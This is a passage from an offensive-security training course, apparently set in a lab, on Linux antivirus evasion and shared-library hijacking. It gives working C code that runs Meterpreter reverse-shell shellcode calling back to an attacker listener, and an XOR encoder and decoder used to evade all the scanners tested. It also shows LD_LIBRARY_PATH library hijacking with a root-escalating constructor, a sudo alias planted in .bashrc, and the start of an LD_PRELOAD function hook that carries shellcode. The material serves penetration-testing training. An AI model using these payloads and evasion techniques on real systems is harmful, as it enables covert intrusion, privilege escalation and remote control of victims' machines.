integer value, in this case, the value of the myvalue variable we
created in the previous line. The address of the myvalue variable
is retrieved by using an ampersand (&) character before the variable
name.

In the final line, we use the dereference operator[552] (*)
to get the value stored at the address in myptr and save it in the
myothervalue variable.

If we ran code to print the contents of all three variables, we would
receive output something like this.

myvalue: 10
myptr: 1793432192
myothervalue: 10

Listing 28 - Values of the different variables

The myvalue output is "10" because we're printing out the value
of the variable itself. The myptr value shown is the value stored
by the pointer. As we know, pointers store memory addresses, so this
value is the memory address where the myvalue variable is being
stored. The myothervalue variable is retrieving the data stored
at the location pointed to by our myptr value. Because myptr
is storing the location of our first variable myvalue, and we're
retrieving the information stored there, we get an output of "10".
This is because myothervalue is accessing the same data as what is
stored in myvalue by using a pointer.

Now that we've covered how pointers work, we can examine the last two
lines in our shellcode encoder's main function.

int (*ret)() = (int(*)())buf;
ret();

Listing 29 - Our last two lines of main

In the first line of Listing 29, we are
defining a function pointer[553] called ret.

A thorough coverage of function pointers and how they work is
outside the scope of this course. At a high-level, they work the same
way as a pointer to other types of objects in memory, except they
point to a place in memory where function code is stored.

In our code above, the ret function takes in no arguments (as
indicated by the empty parentheses to the left of the equals sign).

int (*ret)() = ...

Listing 30 - Our function doesn't take any arguments

The int on the left indicates that our function returns an integer
value.

On the right of the equals sign, we have the name of our shellcode
variable, buf, but with some elements within parentheses before it:

... = (int(*)())buf;

Listing 31 - Casting our buffer as a function pointer

The parentheses and their contents just indicate that we're
casting[554] our buf variable to be a function pointer.
Normally, character array variables are just pointers to a set of
characters in memory, so it's already a pointer. In this case, we're
casting it to be a function pointer specifically. This allows us to
call our buf shellcode like any other function.

The last line of our main function just takes the function pointer
we've created (called ret) and calls the function it points to,
which is our shellcode.

Once our wrapper program is written, we'll set up a listener in
Metasploit matching our shellcode type. Then we'll compile our code
with the Gnu C Compiler[555] (gcc).

Our buf variable is a local variable and as such, is stored on the
stack.[556] Our shellcode execution would normally be
blocked as the stack is marked as non-executable for binaries compiled
by modern versions of gcc. We can explicitly allow it with the -z
execstack parameter.[557]

We'll provide an output file, hack.out, with the -o
parameter and a source code file, hack.c.

offsec@linuxvictim:/tmp$ gcc -o hack.out hack.c -z execstack

Listing 32 - Compiling our C code wrapper

Note that we can compile this example on our Kali VM or the
linuxvictim VM in our lab. In a real-world environment, if compiling
on Kali, we would need to be sure the processor architecture matched
the target environment.

Next, we can run our shellcode wrapper.

offsec@linuxvictim:/tmp$ ./hack.out

Listing 33 - Running our C code wrapper

On our Metasploit side, we receive our shell.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.119.120:1337 
[*] Sending stage (3021284 bytes) to 192.168.120.45
[*] Meterpreter session 6 opened (192.168.119.120:1337 -> 192.168.120.45:52140)

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000

Listing 34 - Receiving a shell from our C code wrapper

We know our shellcode wrapper program works even though Kaspersky
real-time scanning is enabled, but let's try explicitly scanning it
with Kaspersky just to find out what happens.

offsec@linuxvictim:/opt/av$ sudo kesl-control --scan-file ./hack.out
Scanned objects                     : 1
Total detected objects              : 0
Infected objects and other objects  : 0
Disinfected objects                 : 0
Moved to Storage                    : 0
Removed objects                     : 0
Not disinfected objects             : 0
Scan errors                         : 0
Password-protected objects          : 0
Skipped objects                     : 0
offsec@linuxvictim:/opt/av$ 

Listing 35 - Scan results from our C code wrapper

Surprisingly, we can bypass Kaspersky by simply wrapping our shellcode
in a C program.

Kaspersky was fairly easy to bypass. However, not all antivirus
products are the same, so let's try an alternative.

Antiscan.me

The AntiScan.me[558] website is a good option to check
multiple scanners at the same time. We can use this service to check
our C shell wrapper binary and determine if it's detected by any other
products.

Antiscan.me only allows three free scans daily, so we will
want to choose our scans wisely or pay for a subscription. The
number of detections may vary depending on the version of payload
being used and any configuration changes made by Antiscan to their
infrastructure.

Lets run a simple test using a known malicious file. A good choice
would be the simple Meterpreter ELF files that we generated earlier.

Because of the daily scan limit, performing this scan while
following along is not necessary. We've included it here in order to
demonstrate the results of a simple example.

Antiscan will only accept files with an extension of .exe
so we will rename the file in our Kali VM and then upload it to
Antiscan's website. This may not be a completely valid test as
we don't know how Antiscan handles files on the backend, and the
requirement to have files with an extension of .exe indicates
they're likely expecting Windows malware samples. Still, this
test will allow us to at least get an idea of whether basic Linux
Meterpreter payloads are caught.

First, we'll scan the 32-bit Linux Meterpreter ELF file that we
generated previously. The file is detected by 8 of 26 scanners. At
least some of the scanners recognize the file specifically as an ELF
file with a malicious payload or as a Linux-based threat. This tells
us that AntiScan.me is at least partially Linux-aware.

Figure 1: 32-bit Linux Meterpreter scanned

If we try to scan our 64-bit Linux Meterpreter ELF file, as shown in
the image below, it is detected by four of the scanners. This isn't
a reassuring result, but at least some of the products detect our
file. Note that the scanners identify the file as an ELF file and the
payload as Linux-based, similar to our 32-bit file.

Figure 2: Generic Meterpreter shell scanned

While Antiscan.me is likely geared toward Windows binaries, based
on the required file extension being .exe, we can observe that its
scanners use signatures for Linux-based malware as well. The major
competitor/alternative option for this service is VirusTotal, which
reports submitted samples to antivirus companies to develop detection
signatures. In our case, this is undesirable, which is why we prefer
Antiscan.me.

Also note that Kaspersky detected the binary in the same manner as it
did on our system, which indicates that the signatures are the same
and we're doing at least a reasonably fair comparison.

Now that we know the scanners work, we'll try our simple C shellcode
wrapper binary. After renaming with an .exe extension, and downloading
the file to our Kali VM, we can upload it to the website.

Surprisingly, it only gets 2 detections out of 26 possible scanners.

Figure 3: C wrapper scanned by Antiscan

Avast and AVG both detected our sample as malicious and, as expected,
Kaspersky did not.

Although this is a satisfactory result, let's Try Harder.

In order to avoid detection by the last two scanners, we'll obfuscate
our original shellcode string. We can do this by creating an encoder
program to perform an XOR[289-1] operation on our payload string to
produce the new obfuscated version.

We'll then take the output of our encoder and replace our original
C wrapper's payload with the obfuscated version we produced. We'll
also add an XOR decoder to our original C program to deobfuscate the
payload in memory before executing it.

The code for our encoding program is very similar to our original
C program. The key difference lies in the main loop. Instead of
running the payload, we're converting each character using XOR and
printing it to the console.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buf[] = 
"\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x08\x48\x31\xff\x6a\x3c"
"\x58\x0f\x05\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x08\x48\x31"
"\xff\x6a\x3c\x58\x0f\x05\x48\x31\xff\x6a\x09\x58\x99\xb6\x10"
"\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48"
"\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02"
"\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9"
"\x02\x00\x05\x39\xc0\xa8\x76\x03\x51\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6"
"\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01"
"\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff"
"\xe6";

int main (int argc, char **argv) 
{
	char xor_key = 'J';
	int payload_length = (int) sizeof(buf);

	for (int i=0; i<payload_length; i++)
	{
		printf("\\x%02X",buf[i]^xor_key);
	}

	return 0;

}

Listing 36 - Code to XOR encode our shellcode and output to the screen

The code includes our original msfvenom-generated shellcode buffer as
a character array. It defines an XOR key value (in this case, "J") and
calculates the length of the buffer string. It then stores that value
as an integer in the payload_length variable.

char xor_key = 'J';
int payload_length = (int) sizeof(buf);

Listing 37 - First part of our encoder's main loop

The program then iterates through the characters, performing a
bitwise-XOR operation on them with the XOR key we chose. Next, it
prints the newly-encoded hex value to the screen so that we can copy
it later.

for (int i=0; i<payload_length; i++)
	{
		printf("\\x%02X",buf[i]^xor_key);
	}

Listing 38 - Second part of our encoder's main loop

We can use gcc to compile our encoder. Once we've done that,
we can run it to output the encoded version of our shellcode.

kali@kali:~$ gcc -o encoder.out encoder.c

kali@kali:~$ ./encoder.out 
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x45\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48

Listing 39 - Output of our XOR encoder

We can copy the output string from our encoder and replace the payload
string in our original C wrapper. In addition, we need to modify
our original C wrapper's main function to decode the shellcode
before we try to run it. The updated program is shown in the Listing
40.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Our obfuscated shellcode
unsigned char buf[] = "\x20\x73\x12\x45\x4F\x02\xCF\x8A...x32\x71\x02\xDD\x02\xF3\x48";

int main (int argc, char **argv) 
{
	char xor_key = 'J';
	int arraysize = (int) sizeof(buf);
	for (int i=0; i<arraysize-1; i++)
	{
		buf[i] = buf[i]^xor_key;
	}
	int (*ret)() = (int(*)())buf;
	ret();
}

Listing 40 - Updated C wrapper program with our encoded shellcode

Our newly-modified C wrapper program behaves as a combination of our
original C wrapper and our encoder program. We define our payload
buffer, which is now obfuscated, as the result of our encoder
program's output. We define our XOR key and get the size of the
payload, stored in the arraysize variable. We then iterate through
the payload string as we did in the encoder, performing an XOR
operation on each character as we did before.

Since our payload is already obfuscated and XOR is a symmetric
cipher, performing XOR on it with the same key will deobfuscate each
character, resulting in our original payload string. We then run our
shell as we did in our original C wrapper.

If we compile and run the program, we notice that we get a shell in
our Metasploit listener.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.118.3:1337 
[*] Sending stage (3012516 bytes) to 192.168.120.45
[*] Meterpreter session 11 opened (192.168.118.3:1337 -> 192.168.120.45:43588)

meterpreter > getuid
Server username: no-user @ linuxvictim (uid=1000, gid=1000, euid=1000, egid=1000)

Listing 41 - Received a shell via our XOR wrapper program

Now that we know that the shell works properly, let's try scanning
it with Antiscan.me. We'll repeat the process of renaming the file
to have a .exe extension, downloading it to our Kali VM, and
uploading to Antiscan as before.

Figure 4: Our XOR wrapper passed all scanners

The results show that our changes were sufficient to bypass all 26
scanners.

The fact that our XOR-based shellcode wrapper program bypassed all of
the scanners shows the minimal effort required to evade at least some
Linux antivirus programs.

In the next section, we'll discuss shared libraries in Linux and how
we can abuse them on security assessments.

Exercises

  1. Bypass Kaspersky by running a shell in a C wrapper program as shown
    in this section.
  2. Bypass the other scanners in Antiscan.me using XOR obfuscation as
    shown in this section.

Extra Mile

Modify the example we covered in this section to use a different
encoding method such as using a Caesar Cipher.

Shared Libraries

In this section we'll examine how shared libraries being loaded
by applications on a Linux system can be manipulated to provide
an advantage to an attacker. This approach is similar to DLL
hijacking
,[559] which is commonly used to compromise
Windows systems.

We'll take a look at how shared libraries work as well as several
approaches for exploiting them, including the use of specific
environment variables and abusing loading path order. Let's start by
learning how shared libraries work at a basic level.

How Shared Libraries Work on Linux

Perhaps not surprisingly, programs on Linux are structured in a
different format than what is used on Windows systems. The most
commonly used program format in Linux is Executable and Linkable
Format
(ELF).[560] On Windows, it is the Portable Executable
(PE)[253-1] format. A deep explanation of these formats is not in scope
for this course. For now, it's enough to know that program formats
differ between Linux and Windows systems.

Programs on these two systems do have some things in common. In
particular, they are similar in how they share code with other
applications. On Windows, this shared code is most commonly stored in
Dynamic-Link Library (DLL)[561] files. Linux, on the other hand,
uses Shared Libraries.[562] These libraries allow
code to be defined separately from specific applications and reused,
which means the libraries can be shared between different applications
on the system.

This is a benefit in terms of storage space and reducing locations
in code where errors might occur. It also provides a single place
to update code and affect multiple programs. For this reason in
particular, it represents a valuable attack vector. A change to a
shared library can affect all programs that use it.

When an application runs on Linux, it checks for its required
libraries in a number of locations in a specific order. When it
finds a copy of the library it needs, it stops searching and loads
the module it finds. The application searches for libraries in these
locations, following this ordering.[563]

  1. Directories listed in the application's RPATH[564] value.
  2. Directories specified in the LD_LIBRARY_PATH environment
    variable.
  3. Directories listed in the application's RUNPATH[565] value.
  4. Directories specified in /etc/ld.so.conf.[566]
  5. System library directories: /lib, /lib64,
    /usr/lib, /usr/lib64, /usr/local/lib,
    /usr/local/lib64, and potentially others.

Because the locations and the order is known, we can potentially
hijack or place our own versions of shared libraries in places earlier
in the chain in order to control the application's behavior.

First, let's inspect the LD_LIBRARY_PATH variable and how we can
use it to direct a program to use a malicious version of a library
instead of the one originally intended for the program.

Shared Library Hijacking via LD_LIBRARY_PATH

As we mentioned previously, when an application runs, it checks for
its libraries in an ordered set of locations. After checking its
internal RPATH values for hard coded paths, it then checks for an
environment variable called LD_LIBRARY_PATH. Setting this variable
allows a user to override the default behavior of a program and insert
their own versions of libraries.

Intended use cases for this include testing new library versions
without modifying existing libraries or modifying the program's
behavior temporarily for debugging purposes. As an attacker, we
can also use it to maliciously change the intended behavior of the
program. We'll exploit a victim user's application by creating a
malicious library and then use LD_LIBRARY_PATH to hijack the
application's normal flow and execute our malicious code to escalate
privileges.

Note that for demonstration, we are explicitly setting the environment
variable before each call. However, as an attacker, we would want to
insert a line in the user's .bashrc or .bashprofile
to define the _LD_LIBRARY_PATH
variable so it is set automatically
when the user logs in.

One difficulty with using LD_LIBRARY_PATH for exploitation
is that on most modern systems, user environment variables are
not passed on when using sudo. This setting is configured in the
/etc/sudoers file by using the env_reset keyword as a
default. Some systems are configured to allow a user's environment to
be passed on to sudo. These will have env_keep set instead.

We could bypass the env_reset setting with our previously-mentioned
.bashrc alias for the sudo command. We mentioned this
approach earlier when we set the sudo command to sudo
-E in Listing 9. As a normal user,
it's not typically possible to read /etc/sudoers to know if
env_reset is set, so it may be useful to create this alias setting
regardless.

We'll need to tweak this process to make LD_LIBRARY_PATH work with
sudo. We'll discuss how to do this later in this section.

Let's walk through an example of a simple malicious, shared
library using the C programming language[567] and save it as
/home/offsec/ldlib/hax.c.

The full code listing is below, but we'll discuss the parts in the
following paragraphs.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

static void runmahpayload() __attribute__((constructor));

void runmahpayload() {
	setuid(0);
	setgid(0);
    printf("DLL HIJACKING IN PROGRESS \n");
    system("touch /tmp/haxso.txt");
}

Listing 42 - A basic example of a shared library payload

The first three lines include header files as discussed in earlier
examples.

The fourth line provides a function declaration for a constructor
function called runmahpayload. Constructor[568]^,^
[569] functions are run when the library is first
initialized in order to set up code for the library to use.

static void runmahpayload() __attribute__((constructor));

Listing 43 - The constructor function definition

By doing this, we're just letting the compiler know that a function of
this name will be defined later.

We are creating a constructor function so that our malicious code
will run when our library is loaded, regardless of what the original
program is trying to do with it. In other words, the original program
will try to load the library, which will then run our constructor
function, triggering our malicious payload.

The remainder of the lines contain the function's actual code itself.
This is where we'll put our malicious actions.

void runmahpayload() {
	setuid(0);
	setgid(0);
    printf("DLL HIJACKING IN PROGRESS \n");
    system("touch /tmp/haxso.txt");
}

Listing 44 - Our temporary payload

In our case, we initially set the user's UID and GID to "0", which
will make the user root if run in a sudo context. We'll then print a
message to the screen to show that it functioned correctly and modify
a file in /tmp to show an action on the file system.

We'll compile our shared library using two commands.

offsec@linuxvictim:~/ldlib$ gcc -Wall -fPIC -c -o hax.o hax.c

Listing 45 - Compiling our shared library object file

In the first command, we use the -Wall parameter, which
gives more verbose warnings when compiling. The -fPIC option
tells the compiler to use position independent code,[570] which is
suitable for shared libraries since they are loaded in unpredictable
memory locations. The -c flag tells gcc to compile but not
link the code and -o tells the compiler to produce an output
file with the name immediately following the parameter. Finally, the
last item is the source code file we've written.

In the second command, we're again using gcc to compile.
However, this time we use the -shared parameter to tell gcc
we're creating a shared library from our object file. We then specify
an output file again, this time with the name libhax.so, and
then we specify our input object file.

offsec@linuxvictim:~/ldlib$ gcc -shared -o libhax.so hax.o

Listing 46 - Compiling our finished shared library file

This produces a libhax.so shared library file.

One important thing to note is that shared libraries in Linux use the
soname[571] naming convention. This is typically something like
lib.so, which may also include a version number
appended to the end with a period or full-stop character. For example,
we might see lib.so.1. Naming our libraries
following this convention will help us with the linking process.

Now that we have a malicious shared library, we need a place to use
it. We want to hijack the library of a program that a victim is likely
to run, especially as sudo. We also need to remember that whichever
library we're hijacking will be unavailable to the requesting program.
As such, we want to find something that won't break the system if all
programs are prevented from using it.

Let's try targeting the top command, which is used to display
processes in real time on a Linux system. It's likely that a user
might run this as sudo in order to display processes with elevated
permissions, so it's a good candidate.

We'll run the ldd[572] command in the target machine on
the top program. This will give us information on which libraries are
being loaded when top is being run.

offsec@linuxvictim:~$ ldd /usr/bin/top
	linux-vdso.so.1 (0x00007ffd135c5000)
	libprocps.so.6 => /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)
	libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)
	libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)
	librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)
	liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)
	liblz4.so.1 => /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)
	libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)
	libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)

Listing 47 - Determining libraries run by the "top" utility

The last library listed appears to be a library for error reporting
called LibGPG-Error.[573] This is likely to be loaded
by the application but not likely to be called unless the program
encounters an error, therefore this shouldn't prevent normal use of
the application. Let's try to hijack that and find out what happens.

Note that it may require some trial and error to find a library that
behaves favorably to run our code and not have adverse side effects on
the system. Ideally, we want to target a library that also allows the
program to run correctly even after our exploit is run, but this may
not always be possible.

We set our environment variable for LD_LIBRARY_PATH and rename our
.so file to match the one we're hijacking.

offsec@linuxvictim:~/ldlib$ export LD_LIBRARY_PATH=/home/offsec/ldlib/

offsec@linuxvictim:~/ldlib$ cp libhax.so libgpg-error.so.0

Listing 48 - Preparing the environment and shared library for exploitation

If we want to later turn off the malicious library functionality,
we need to unset the environment variable using the unset command.
Our approach here does not modify the original shared library at all,
so when the environment variable is unset, the original functionality
is restored.

Now we can run our top program and examine what happens.

offsec@linuxvictim:~/ldlib$ top
top: /home/offsec/ldlib/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20)
top: relocation error: /lib/x86_64-linux-gnu/libgcrypt.so.20: symbol gpgrt_lock_lock version GPG_ERROR_1.0 not defined in file libgpg-error.so.0 with link time reference

Listing 49 - Our exploit fails miserably

Unfortunately, we have a problem. The error message states that
we're missing the symbol gpgrt_lock_lock with a version of
GPG_ERROR_1.0. The program has not yet run our library's
constructor, but it's already giving an error that we're missing
symbols.[574]

This means that certain variables or functions that the program
expects to find when loading the original library have not been
defined in our malicious library. As a result, the program won't even
attempt to run our library's constructor. Fortunately, this is fairly
easy to fix.

When loading a library, a program only wants to know that our
library contains symbols of that name. It doesn't care anything about
validating their type or use. Because of that, we can simply define
some variables with the same names that it expects and top should run.

We have an additional advantage in that the original shared library
exists on the file system. Let's examine it and determine what symbols
it contains using the readelf[575] utility. The -s
parameter will give a list of available symbols in the library.

Not all of the listed symbols are needed since some of them refer
to other libraries. The error message specifies that the symbol it's
looking for is tagged with GPG_ERROR_1.0. We can infer that it's
part of the library we're replacing (libgpg-error.so.0).

The readelf output for the original shared library will display many
defined symbols. However, with the use of some bash command-line
utilities, we can parse out the information we need specifically
and put it into a format that we can paste directly into our library
source code file to define variables.

To do this, we'll again call the readelf command with the
-s flag. We'll also include the --wide flag to force
it to include the untruncated names of the symbols, as well as the
full path to the original shared library file. We'll pipe that output
to grep and search for lines containing "FUNC" representing
symbols we need to capture. We'll then pipe this to grep
again and filter out only the results that also contain "GPG_ERROR",
indicating they are stored in our library and not in an unrelated
dependency.

Once we've done that, we pipe the resulting lines to awk to
capture only a specific column of the lines returned, while prepending
"int " to it. This will help us more easily define variables in our
code to represent the symbols we are missing. Finally, we pipe that
output to sed to replace the version information with a
semicolon in order to finalize the variable definitions.

offsec@linuxvictim:~/ldlib$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g'
int gpgrt_onclose;
int _gpgrt_putc_overflow;
int gpgrt_feof_unlocked;
...
int gpgrt_fflush;
int gpgrt_poll;

Listing 50 - The output gets the symbols associated with our hijacked library and makes C variables for them as output

The result is a list of variable definitions, one for each missing
symbol, that we can copy and paste just under our initial constructor
definition in our hax.c source code file.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

static void runmahpayload() __attribute__((constructor));

int gpgrt_onclose;
int _gpgrt_putc_overflow;
int gpgrt_feof_unlocked;
...

Listing 51 - The new symbols in our source code

After recompiling and setting the LD_LIBRARY_PATH variable again,
this time when we run top, we get the result we wanted.

offsec@linuxvictim:~/ldlib$ top
top: /home/offsec/ldlib/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20)
DLL HIJACKING IN PROGRESS 
...

Listing 52 - Our hijacking worked properly

Unfortunately, we notice an obvious error message about the shared
library's version information. Not all supporting libraries require
version information, so this does not always occur. If we were
to hijack a different library, we may not receive this error. In
this case, however, it seems that libgcrypt does require version
information in associated libraries. Thankfully, we can fix this with
the help of a map[576] file that identifies particular symbols as
being associated with a given version of the library.

First, we'll run a modified version of our previous readelf
command, this time omitting "int" before the symbol names.

offsec@linuxvictim:~/ldlib$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g'
gpgrt_onclose;
_gpgrt_putc_overflow;
gpgrt_feof_unlocked;
gpgrt_vbsprintf;
...

Listing 53 - Getting symbol names

This simply provides a list of symbols that we can then "wrap" into
a symbol map file for the compiler to use. We'll call this file
gpg.map.

GPG_ERROR_1.0 {
gpgrt_onclose;
_gpgrt_putc_overflow;
...
gpgrt_fflush;
gpgrt_poll;

};

Listing 54 - Symbol map file

The version number for these symbols doesn't have any direct impact on
our exploit, but it fulfills the version requirement that is causing
our earlier error message.

Once the file is created, we can compile our shared library again and
include the symbol file with --version-script.

offsec@linuxvictim:~/ldlib$ gcc -Wall -fPIC -c -o hax.o hax.c

offsec@linuxvictim:~/ldlib$ gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 hax.o

Listing 55 - Recompiling the shared library with a symbol map

We set our LD_LIBRARY_PATH environment variable as we did before
and run the application again.

offsec@linuxvictim:~/ldlib$ export LD_LIBRARY_PATH=/home/offsec/ldlib/

offsec@linuxvictim:~/ldlib$ top
DLL HIJACKING IN PROGRESS 
top - 14:55:15 up 9 days,  4:35,  2 users,  load average: 0.01, 0.01, 0.00
Tasks: 164 total,   1 running,  92 sleeping,   0 stopped,   0 zombie
...

Listing 56 - Working correctly

This time, we do not receive an error message.

We can look for the file our library was supposed to modify in
/tmp.

offsec@linuxvictim:~/ldlib$ ls -al /tmp/haxso.txt 
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt

Listing 57 - Evidence of our code working properly

The results show the file was created.

In this case, we were somewhat lucky in that our application ran
properly without the libgpg_error library. If an error occurred that
required libgpg_error, the application would likely crash.

Earlier, we discussed how in modern Linux distributions a user's
environment variables aren't normally passed to a sudo context.
To get around this, we created an alias for sudo in the user's
.bashrc file replacing sudo with sudo -E. However, some
environment variables are not passed even with this approach.
Unfortunately, LD_LIBRARY_PATH is one of these. If we try to run
top with sudo, our module is not run.

There is a workaround. We can modify the alias we created for this
purpose to include our LD_LIBRARY_PATH variable explicitly. This
forces it to be passed to the sudo environment.

alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib"

Listing 58 - Modified alias to include LD_LIBRARY_PATH

If we source the .bashrc file to load the changes
we made, when we run the command with sudo, the command executes as
root.

offsec@linuxvictim:~/ldlib$ source ~/.bashrc

offsec@linuxvictim:~/ldlib$ sudo top
DLL HIJACKING IN PROGRESS 
top - 14:51:20 up 6 days,  6:03,  5 users,  load average: 0.00, 0.00, 0.00
...

offsec@linuxvictim:~/ldlib$ ls -al /tmp/haxso.txt 
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt

Listing 59 - Modified alias to run our library as sudo

We successfully exploited an application using LD_LIBRARY_PATH and
a malicious shared library file.

In the next section, we'll use LD_PRELOAD to hijack library
functions.

Exercises

  1. Create a malicious shared library example as shown in this section
    and run it using LD_LIBRARY_PATH and the top utility.
  2. Create a .bashrc alias for sudo to include LD_LIBRARY_PATH
    and use the malicious library example we created to escalate to root
    privileges.

Extra Mile

  1. Get a shell by adding shellcode execution to our shared library
    example. Consider using the AV bypass code we covered previously as a
    guide. Continuing the program's functionality after the shell is fired
    is not necessary in this case.
  2. Hijack an application other than top using the method described in
    this section.

Exploitation via LD_PRELOAD

LD_PRELOAD[577] is an environment variable which,
when defined on the system, forces the dynamic linking
loader[578] to preload a particular shared library before
any others. As a result, functions that are defined in this library
are used before any with the same method signature[579]
that are defined in other libraries.

A method signature is the information that a program needs to
define a method. It consists of the value type the method will return,
the method name, a listing of the parameters it needs, and each of
their data types.

LD_PRELOAD faces a similar limitation as the LD_LIBRARY_PATH
exploit vector we covered previously. Sudo will explicitly ignore the
LD_PRELOAD environment variable for a user unless the user's real
UID is the same as their effective UID. This is important, as it will
hinder the privilege escalation approach described earlier in this
module. There are potential bypasses as we'll explain later.

As mentioned, libraries specified by LD_PRELOAD are loaded before
any others the program will use. This means that methods we define in
a library loaded by LD_PRELOAD will override methods loaded later
on. Overriding methods in this way is a technique known as function
hooking.[580]

Because the original libraries are also still being loaded, we can
call the original functions and allow the program to continue working
as intended. This makes our activity much less obvious and is less
likely to tip off a savvy administrator.

In this module we'll leverage this technique to load our own malicious
shared library. We'll also load the original libraries, meaning the
program will run as intended, which will help us keep a low profile.

For this attack vector, we first need to find an application that
the victim is likely to frequently use. One potential option is the
cp[258-1] utility, which is used to copy files between locations on
the system. This utility is often used with sudo which could improve
our attack's effectiveness.

We can run ltrace[581] on the cp command to get a list of
library function calls it uses during normal operation.

offsec@linuxvictim:~$ ltrace cp
strrchr("cp", '/')                                                              = nil
...
geteuid()                                                                       = 1000
getenv("POSIXLY_CORRECT")                                                       = nil
...
fflush(0x7f717f0c0680)                                                          = 0
fclose(0x7f717f0c0680)                                                          = 0
+++ exited (status 1) +++

Listing 60 - Running ltrace on the "man" utility

ltrace is not installed by default on all Linux distributions
but is fairly common to find. It can also be installed through the
standard package repositories. In our case, ltrace is installed
on the linuxvictim lab machine. In a real-world scenario, it is
ideal to run this on the target machine if possible to ensure that
the library calls correctly match the target's system and program
configuration.

There are a lot of calls, but one that stands out is
geteuid.[582] This function is a good candidate because it
seems to only be called once during the application run, which limits
how frequently our code will be executed. Using this function will
limit redundant shells.

According to the function's man page,[582-1] it takes no parameters
and returns the user's UID number.

Let's try to hook this call through our own malicious shared library.
In our library, we'll simply redefine the geteuid function. We
don't need to define a constructor function as we did in the previous
examples. This is because we want to fire our payload when a library
function is being called, rather than when the library is loaded.
Also, this will allow us to "patch" what the library is doing and
still retain its original behavior.

This time, we'll include a reverse shell so we can enjoy the full
benefit of our efforts.

Let's walk through our code. First, as with other C programs, the
include statements list the standard libraries the program will use.
dlfcn.h,[583] is worth noting as it defines functions for
interacting with the dynamic linking loader.

#define _GNU_SOURCE
#include <sys/mman.h> // for mprotect
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

Listing 61 - Include statements

The next portion of our code is our shellcode, which is stored
in the buf character array. We can generate a payload with
msfvenom in C format.

char buf[] = 
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a"
"\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
"\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x05\x39\xc0\xa8"
"\x76\x03\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59"
"\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a"
"\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48"
"\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e"
"\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";

Listing 62 - Meterpreter reverse shellcode

Following the shellcode declaration, we'll define our geteuid
function. The signature matches the original. It has no parameters
(void) and returns a value of uid_t, which in this case is simply
an integer.

uid_t geteuid(void)
{

Listing 63 - Defining the function

The next line defines a pointer, which we'll use to point to the
old geteuid function. We're using the typeof[584] keyword
to determine the pointer type dynamically. As a reminder from the
AV section, a pointer is just a variable that points to a place in
memory. In this case, it points to the memory location where the old
geteuid function is stored.

        typeof(geteuid) *old_geteuid;

